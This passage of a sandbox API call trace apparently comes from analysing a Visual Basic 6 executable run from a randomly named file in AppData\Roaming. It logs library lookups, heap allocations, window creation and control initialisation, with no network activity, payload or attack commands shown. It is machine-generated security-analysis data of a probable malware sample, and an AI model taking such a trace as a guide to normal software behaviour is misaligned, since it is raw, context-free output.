lpProcName="VarNeg") returned 0x75edc802 [0100.223] GetProcAddress (hModule=0x75e60000, lpProcName="VarNot") returned 0x75edec66 [0100.223] GetProcAddress (hModule=0x75e60000, lpProcName="VarRound") returned 0x75edd155 [0100.224] GetProcAddress (hModule=0x75e60000, lpProcName="VarCmp") returned 0x75e7b0dc [0100.224] GetProcAddress (hModule=0x75e60000, lpProcName="VarDecAdd") returned 0x75e95f3e [0100.224] GetProcAddress (hModule=0x75e60000, lpProcName="VarDecCmp") returned 0x75e84fd0 [0100.224] GetProcAddress (hModule=0x75e60000, lpProcName="VarBstrCat") returned 0x75e80d2c [0100.224] GetProcAddress (hModule=0x75e60000, lpProcName="VarCyMulI4") returned 0x75e959ed [0100.224] GetProcAddress (hModule=0x75e60000, lpProcName="VarBstrCmp") returned 0x75e6f8b8 [0100.224] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x75f10000 [0100.224] GetProcAddress (hModule=0x75f10000, lpProcName="CoCreateInstanceEx") returned 0x75f59d4e [0100.224] GetProcAddress (hModule=0x75f10000, lpProcName="CLSIDFromProgIDEx") returned 0x75f20782 [0100.224] GetSystemMetrics (nIndex=42) returned 0 [0100.224] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x72a4e688 | out: ppMalloc=0x72a4e688*=0x760566bc) returned 0x0 [0100.225] IMalloc:Alloc (This=0x760566bc, cb=0x4) returned 0x294e40 [0100.225] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x18f968, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\fghvhghvgfdgfhchfg.exe")) returned 0x38 [0100.226] lstrcatA (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe", lpString2=".cfg" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe.cfg") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe.cfg" [0100.226] SetLastError (dwErrCode=0x0) [0100.226] SearchPathA (in: lpPath=0x0, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe.cfg", lpExtension=0x0, nBufferLength=0x103, lpBuffer=0x18f864, lpFilePart=0x18f838 | out: lpBuffer="|ú\x18", lpFilePart=0x18f838) returned 0x0 [0100.226] SetLastError (dwErrCode=0x2) [0100.226] GetLastError () returned 0x2 [0100.226] lstrcmpiA (lpString1="fghvhghvgfdgfhchfg", lpString2="MTX") returned -1 [0100.226] lstrcmpiA (lpString1="fghvhghvgfdgfhchfg", lpString2="DLLHOST") returned 1 [0100.226] lstrcmpiA (lpString1="fghvhghvgfdgfhchfg", lpString2="INETINFO") returned -1 [0100.226] lstrcmpiA (lpString1="fghvhghvgfdgfhchfg", lpString2="W3WP") returned -1 [0100.226] lstrcmpiA (lpString1="fghvhghvgfdgfhchfg", lpString2="ASPNET_WP") returned 1 [0100.226] lstrcmpiA (lpString1="fghvhghvgfdgfhchfg", lpString2="DLLHST3G") returned 1 [0100.226] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x18f95c, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\fghvhghvgfdgfhchfg.exe")) returned 0x38 [0100.226] lstrcmpiA (lpString1="fghvhghvgfdgfhchfg", lpString2="IEXPLORE") returned -1 [0100.226] LoadLibraryA (lpLibFileName="SXS.DLL") returned 0x74840000 [0100.228] GetLastError () returned 0x0 [0100.229] GetProcAddress (hModule=0x74840000, lpProcName="SxsOleAut32MapIIDOrCLSIDToTypeLibrary") returned 0x74887685 [0100.229] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18feac, cbMultiByte=-1, lpWideCharStr=0x18fea8, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0100.229] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x1c) returned 0x26b2050 [0100.229] CoRegisterMessageFilter (in: lpMessageFilter=0x26b2054, lplpMessageFilter=0x26b205c | out: lplpMessageFilter=0x26b205c*=0x0) returned 0x0 [0100.229] IUnknown:AddRef (This=0x26b2054) returned 0x2 [0100.229] GetClassInfoExA (in: hInstance=0x72940000, lpszClass="ThunderRT6Main", lpwcx=0x18fe78 | out: lpwcx=0x18fe78) returned 0 [0100.229] LoadIconA (hInstance=0x400000, lpIconName=0x1) returned 0x102af [0100.231] GetModuleHandleA (lpModuleName="USER32") returned 0x770d0000 [0100.232] GetProcAddress (hModule=0x770d0000, lpProcName="GetSystemMetrics") returned 0x770e7d2f [0100.232] GetProcAddress (hModule=0x770d0000, lpProcName="MonitorFromWindow") returned 0x770f3150 [0100.232] GetProcAddress (hModule=0x770d0000, lpProcName="MonitorFromRect") returned 0x7710e7a0 [0100.232] GetProcAddress (hModule=0x770d0000, lpProcName="MonitorFromPoint") returned 0x770f5281 [0100.232] GetProcAddress (hModule=0x770d0000, lpProcName="EnumDisplayMonitors") returned 0x770f451a [0100.232] GetProcAddress (hModule=0x770d0000, lpProcName="GetMonitorInfoA") returned 0x770f4413 [0100.232] GetSystemMetrics (nIndex=0) returned 1440 [0100.232] GetSystemMetrics (nIndex=78) returned 1440 [0100.232] GetSystemMetrics (nIndex=1) returned 900 [0100.232] GetSystemMetrics (nIndex=79) returned 900 [0100.232] GetSystemMetrics (nIndex=50) returned 16 [0100.232] GetSystemMetrics (nIndex=49) returned 16 [0100.232] LoadImageA (hInst=0x400000, name=0x1, type=0x1, cx=16, cy=16, fuLoad=0x0) returned 0x102b1 [0100.233] RegisterClassExA (param_1=0x18fe78) returned 0x8ec1f2 [0100.233] CreateWindowExA (dwExStyle=0x80, lpClassName="ThunderRT6Main", lpWindowName=0x0, dwStyle=0x80090000, X=-2147483648, Y=-2147483648, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x72940000, lpParam=0x0) returned 0x102b6 [0100.234] NtdllDefWindowProc_A (hWnd=0x102b6, Msg=0x81, wParam=0x0, lParam=0x18fa5c) returned 0x1 [0100.235] NtdllDefWindowProc_A (hWnd=0x102b6, Msg=0x83, wParam=0x0, lParam=0x18fa48) returned 0x0 [0100.236] NtdllDefWindowProc_A (hWnd=0x102b6, Msg=0x1, wParam=0x0, lParam=0x18fa5c) returned 0x0 [0100.236] NtdllDefWindowProc_A (hWnd=0x102b6, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0100.236] NtdllDefWindowProc_A (hWnd=0x102b6, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0100.236] MonitorFromWindow (hwnd=0x102b6, dwFlags=0x2) returned 0x10001 [0100.236] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0x18fe80 | out: lpmi=0x18fe80) returned 1 [0100.236] SetWindowPos (hWnd=0x102b6, hWndInsertAfter=0x0, X=720, Y=450, cx=0, cy=0, uFlags=0x1d) returned 1 [0100.236] NtdllDefWindowProc_A (hWnd=0x102b6, Msg=0x46, wParam=0x0, lParam=0x18fe20) returned 0x0 [0100.237] NtdllDefWindowProc_A (hWnd=0x102b6, Msg=0x47, wParam=0x0, lParam=0x18fe20) returned 0x0 [0100.237] NtdllDefWindowProc_A (hWnd=0x102b6, Msg=0x3, wParam=0x0, lParam=0x1c202d0) returned 0x0 [0100.237] ShowWindow (hWnd=0x102b6, nCmdShow=4) returned 0 [0100.237] NtdllDefWindowProc_A (hWnd=0x102b6, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0100.237] NtdllDefWindowProc_A (hWnd=0x102b6, Msg=0x46, wParam=0x0, lParam=0x18fe34) returned 0x0 [0100.238] NtdllDefWindowProc_A (hWnd=0x102b6, Msg=0x47, wParam=0x0, lParam=0x18fe34) returned 0x0 [0100.238] GetWindowThreadProcessId (in: hWnd=0x102b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xd38 [0100.238] VirtualQuery (in: lpAddress=0x18fea8, lpBuffer=0x18fe8c, dwLength=0x1c | out: lpBuffer=0x18fe8c*(BaseAddress=0x18f000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0100.238] GetUserDefaultLCID () returned 0x409 [0100.238] IsValidCodePage (CodePage=0x3a4) returned 1 [0100.240] IsValidCodePage (CodePage=0x3b5) returned 1 [0100.241] IsValidCodePage (CodePage=0x3b6) returned 1 [0100.242] IsValidCodePage (CodePage=0x3a8) returned 1 [0100.246] GetUserDefaultLangID () returned 0x409 [0100.246] GetSystemDefaultLangID () returned 0x290409 [0100.246] GetSystemMetrics (nIndex=42) returned 0 [0100.246] IMalloc:Alloc (This=0x760566bc, cb=0xa8) returned 0x29e6f8 [0100.246] IMalloc:GetSize (This=0x760566bc, pv=0x29e6f8) returned 0xa8 [0100.246] IMalloc:Alloc (This=0x760566bc, cb=0xc) returned 0x29dff0 [0100.247] GetCurrentThreadId () returned 0xd38 [0100.247] IMalloc:Alloc (This=0x760566bc, cb=0x3c) returned 0x294ee8 [0100.247] IMalloc:Alloc (This=0x760566bc, cb=0x1c) returned 0x29a740 [0100.248] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\VBA\\Monitors", phkResult=0x18fe74 | out: phkResult=0x18fe74*=0x0) returned 0x2 [0100.248] IMalloc:Alloc (This=0x760566bc, cb=0x1c) returned 0x29a768 [0100.248] GetCurrentThreadId () returned 0xd38 [0100.248] SetWindowsHookExA (idHook=-1, lpfn=0x729a1e09, hmod=0x0, dwThreadId=0xd38) returned 0x102b3 [0100.248] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x14) returned 0x26b2078 [0100.248] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x80) returned 0x26b2098 [0100.248] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x10) returned 0x26b2120 [0100.248] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x2c) returned 0x26b2138 [0100.248] GetClassInfoA (in: hInstance=0x72940000, lpClassName="VBMsoStdCompMgr", lpWndClass=0x18fdcc | out: lpWndClass=0x18fdcc) returned 0 [0100.248] RegisterClassA (lpWndClass=0x18fdcc) returned 0x98c1f3 [0100.248] CreateWindowExA (dwExStyle=0x0, lpClassName="VBMsoStdCompMgr", lpWindowName=0x0, dwStyle=0x80000000, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x0, hMenu=0x0, hInstance=0x72940000, lpParam=0x0) returned 0x102ba [0100.249] NtdllDefWindowProc_A (hWnd=0x102ba, Msg=0x81, wParam=0x0, lParam=0x18fa08) returned 0x1 [0100.249] NtdllDefWindowProc_A (hWnd=0x102ba, Msg=0x83, wParam=0x0, lParam=0x18f9f4) returned 0x0 [0100.249] NtdllDefWindowProc_A (hWnd=0x102ba, Msg=0x1, wParam=0x0, lParam=0x18fa08) returned 0x0 [0100.249] NtdllDefWindowProc_A (hWnd=0x102ba, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0100.249] NtdllDefWindowProc_A (hWnd=0x102ba, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0100.249] SetWindowLongA (hWnd=0x102ba, nIndex=0, dwNewLong=40575132) returned 0 [0100.249] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x38) returned 0x26b2170 [0100.249] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x18) returned 0x26b21b0 [0100.249] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x10) returned 0x26b21d0 [0100.249] RegisterClipboardFormatA (lpszFormat="Object Descriptor") returned 0xc00e [0100.249] RegisterClipboardFormatA (lpszFormat="Link Source Descriptor") returned 0xc00f [0100.249] RegisterClipboardFormatA (lpszFormat="Embed Source") returned 0xc00b [0100.249] RegisterClipboardFormatA (lpszFormat="Embedded Object") returned 0xc00a [0100.250] RegisterClipboardFormatA (lpszFormat="Link Source") returned 0xc00d [0100.250] RegisterClipboardFormatA (lpszFormat="OwnerLink") returned 0xc003 [0100.250] RegisterClipboardFormatA (lpszFormat="FileName") returned 0xc006 [0100.250] CreateCompatibleDC (hdc=0x0) returned 0x50010a54 [0100.250] GetCurrentObject (hdc=0x50010a54, type=0x7) returned 0x185000f [0100.250] CreateWindowExA (dwExStyle=0x0, lpClassName="VBFocusRT6", lpWindowName=0x0, dwStyle=0x40000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x102b6, hMenu=0x0, hInstance=0x72940000, lpParam=0x0) returned 0x102bc [0100.250] NtdllDefWindowProc_A (hWnd=0x102bc, Msg=0x81, wParam=0x0, lParam=0x18fa98) returned 0x1 [0100.250] NtdllDefWindowProc_A (hWnd=0x102bc, Msg=0x83, wParam=0x0, lParam=0x18fa84) returned 0x0 [0100.250] NtdllDefWindowProc_A (hWnd=0x102bc, Msg=0x1, wParam=0x0, lParam=0x18fa98) returned 0x0 [0100.250] NtdllDefWindowProc_A (hWnd=0x102bc, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0100.250] NtdllDefWindowProc_A (hWnd=0x102bc, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0100.250] NtdllDefWindowProc_A (hWnd=0x102b6, Msg=0x210, wParam=0x1, lParam=0x102bc) returned 0x0 [0100.250] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x18) returned 0x26b21e8 [0100.250] RtlAllocateHeap (HeapHandle=0x27d0000, Flags=0x8, Size=0x114) returned 0x27d07d0 [0100.250] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x5c) returned 0x26b2208 [0100.251] GetCurrentThreadId () returned 0xd38 [0100.251] GetCurrentThreadId () returned 0xd38 [0100.251] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x10) returned 0x26b2270 [0100.251] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x30) returned 0x26b2288 [0100.251] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x434) returned 0x26b22c0 [0100.251] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x434) returned 0x26b2700 [0100.251] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x3c) returned 0x26b2b40 [0100.251] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x114) returned 0x26b2b88 [0100.251] lstrlenA (lpString="VB") returned 2 [0100.251] lstrlenA (lpString="Label") returned 5 [0100.251] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x9) returned 0x26b2ca8 [0100.251] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x34) returned 0x26b2cc0 [0100.251] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0xf0) returned 0x26b2d00 [0100.251] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x48) returned 0x26b2df8 [0100.251] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x1f4) returned 0x26b2e48 [0100.252] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x28) returned 0x26b3048 [0100.252] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26b3078 [0100.252] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x28) returned 0x26b3098 [0100.252] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x114) returned 0x26b30c8 [0100.252] lstrlenA (lpString="VB") returned 2 [0100.252] lstrlenA (lpString="OptionButton") returned 12 [0100.252] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x10) returned 0x26b31e8 [0100.252] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x28) returned 0x26b3200 [0100.252] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0xd4) returned 0x26b3230 [0100.252] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x4c) returned 0x26b3310 [0100.252] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x1c8) returned 0x26b3368 [0100.252] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26b3538 [0100.252] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x114) returned 0x26b3558 [0100.252] lstrlenA (lpString="VB") returned 2 [0100.253] lstrlenA (lpString="Printer") returned 7 [0100.253] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0xb) returned 0x26b3678 [0100.253] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0xdc) returned 0x26b3690 [0100.253] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26b3778 [0100.253] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x114) returned 0x26b3798 [0100.253] lstrlenA (lpString="VB") returned 2 [0100.253] lstrlenA (lpString="Form") returned 4 [0100.253] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x8) returned 0x26b38b8 [0100.253] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x184) returned 0x26b38c8 [0100.253] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x7c) returned 0x26b3a58 [0100.253] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x2f8) returned 0x26b3ae0 [0100.253] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26b3de0 [0100.253] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x114) returned 0x26b3e00 [0100.253] lstrlenA (lpString="VB") returned 2 [0100.253] lstrlenA (lpString="Screen") returned 6 [0100.253] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0xa) returned 0x26b3f20 [0100.253] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x2c) returned 0x26b3f38 [0100.253] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0xa0) returned 0x26b3f70 [0100.254] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26b4018 [0100.254] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x114) returned 0x26b4038 [0100.254] lstrlenA (lpString="VB") returned 2 [0100.254] lstrlenA (lpString="Clipboard") returned 9 [0100.254] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0xd) returned 0x26b4158 [0100.254] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x1c) returned 0x26b4170 [0100.254] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x68) returned 0x26b4198 [0100.254] RtlReAllocateHeap (Heap=0x26b0000, Flags=0x0, Ptr=0x26b3048, Size=0x50) returned 0x26b4208 [0100.254] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26b3048 [0100.254] RtlReAllocateHeap (Heap=0x26b0000, Flags=0x0, Ptr=0x26b3098, Size=0x50) returned 0x26b4260 [0100.254] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x114) returned 0x26b42b8 [0100.254] lstrlenA (lpString="VB") returned 2 [0100.254] lstrlenA (lpString="MDIForm") returned 7 [0100.254] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0xb) returned 0x26b3098 [0100.254] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x184) returned 0x26b43d8 [0100.254] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x7c) returned 0x26b4568 [0100.254] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x2f8) returned 0x26b45f0 [0100.254] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26b48f0 [0100.255] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x114) returned 0x26b4910 [0100.255] lstrlenA (lpString="VB") returned 2 [0100.255] lstrlenA (lpString="App") returned 3 [0100.255] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x7) returned 0x26b3068 [0100.255] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x84) returned 0x26b4a30 [0100.255] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x148) returned 0x26b4ac0 [0100.255] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26b4c10 [0100.255] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x114) returned 0x26b4c30 [0100.255] lstrlenA (lpString="VB") returned 2 [0100.255] lstrlenA (lpString="Image") returned 5 [0100.255] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x9) returned 0x26b30b0 [0100.255] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x24) returned 0x26b4d50 [0100.256] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x98) returned 0x26b4d80 [0100.256] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x34) returned 0x26b4e20 [0100.256] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x154) returned 0x26b4e60 [0100.256] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26b4fc0 [0100.256] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x114) returned 0x26b4fe8 [0100.256] lstrlenA (lpString="VB") returned 2 [0100.256] lstrlenA (lpString="UserControl") returned 11 [0100.257] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0xf) returned 0x26b5108 [0100.257] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x1e4) returned 0x26b5120 [0100.257] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0xb0) returned 0x26b5310 [0100.257] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x3a4) returned 0x26b53c8 [0100.257] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26b5778 [0100.257] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x114) returned 0x26b5798 [0100.257] lstrlenA (lpString="VB") returned 2 [0100.257] lstrlenA (lpString="PropertyPage") returned 12 [0100.257] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x10) returned 0x26b58b8 [0100.257] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x190) returned 0x26b58d0 [0100.257] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x88) returned 0x26b5a68 [0100.257] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x310) returned 0x26b5af8 [0100.257] RtlReAllocateHeap (Heap=0x26b0000, Flags=0x0, Ptr=0x26b4208, Size=0x78) returned 0x26b5e10 [0100.258] lstrcmpiA (lpString1="VB.MDIForm", lpString2="VB.PropertyPage") returned -1 [0100.258] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26b4208 [0100.258] RtlReAllocateHeap (Heap=0x26b0000, Flags=0x0, Ptr=0x26b4260, Size=0x78) returned 0x26b5e90 [0100.258] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x114) returned 0x26b5f10 [0100.258] lstrlenA (lpString="VB") returned 2 [0100.258] lstrlenA (lpString="UserDocument") returned 12 [0100.258] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x10) returned 0x26b4228 [0100.258] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x1c8) returned 0x26b6030 [0100.258] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0xa8) returned 0x26b6200 [0100.258] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x370) returned 0x26b62b0 [0100.258] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26b4240 [0100.258] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x20) returned 0x26b4260 [0100.259] RtlAllocateHeap (HeapHandle=0x27d0000, Flags=0x8, Size=0x30) returned 0x27d08f0 [0100.260] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0xa0) returned 0x26b6628 [0100.261] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x28) returned 0x26b4288 [0100.261] GetCurrentThreadId () returned 0xd38 [0100.261] GetCurrentThreadId () returned 0xd38 [0100.261] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x10) returned 0x26b66d0 [0100.262] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x114) returned 0x26b66e8 [0100.262] lstrlenA (lpString="VB") returned 2 [0100.262] lstrlenA (lpString="PictureBox") returned 10 [0100.262] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0xe) returned 0x26b6808 [0100.262] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x16c) returned 0x26b6820 [0100.262] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x68) returned 0x26b6998 [0100.262] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x2c8) returned 0x26b6a08 [0100.262] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26b6cd8 [0100.262] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x114) returned 0x26b6cf8 [0100.262] lstrlenA (lpString="VB") returned 2 [0100.262] lstrlenA (lpString="TextBox") returned 7 [0100.262] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0xb) returned 0x26b6e18 [0100.262] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x38) returned 0x26b6e30 [0100.262] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x120) returned 0x26b6e70 [0100.262] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x60) returned 0x26b6f98 [0100.263] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x250) returned 0x26b7000 [0100.263] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26b7258 [0100.263] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x114) returned 0x26c1ae0 [0100.264] lstrlenA (lpString="VB") returned 2 [0100.264] lstrlenA (lpString="Frame") returned 5 [0100.264] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x9) returned 0x26c1c00 [0100.264] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x24) returned 0x26c1c18 [0100.264] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0xb0) returned 0x26c1c48 [0100.264] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x34) returned 0x26c1d00 [0100.264] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x184) returned 0x26c1d40 [0100.264] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26c1ed0 [0100.264] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x114) returned 0x26c1ef0 [0100.264] lstrlenA (lpString="VB") returned 2 [0100.264] lstrlenA (lpString="CommandButton") returned 13 [0100.265] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x11) returned 0x26c2028 [0100.265] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x28) returned 0x26c2c10 [0100.265] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0xd4) returned 0x26c2c40 [0100.265] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x44) returned 0x26c2d20 [0100.265] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x1c8) returned 0x26c2d70 [0100.265] RtlReAllocateHeap (Heap=0x26b0000, Flags=0x0, Ptr=0x26b5e10, Size=0xa0) returned 0x26c2f40 [0100.265] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26c2048 [0100.265] RtlReAllocateHeap (Heap=0x26b0000, Flags=0x0, Ptr=0x26b5e90, Size=0xa0) returned 0x26c2fe8 [0100.265] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x114) returned 0x26c3090 [0100.265] lstrlenA (lpString="VB") returned 2 [0100.265] lstrlenA (lpString="CheckBox") returned 8 [0100.265] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0xc) returned 0x26c31c8 [0100.265] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x28) returned 0x26b5e10 [0100.265] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0xec) returned 0x26c35b0 [0100.265] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x48) returned 0x26b5e40 [0100.265] 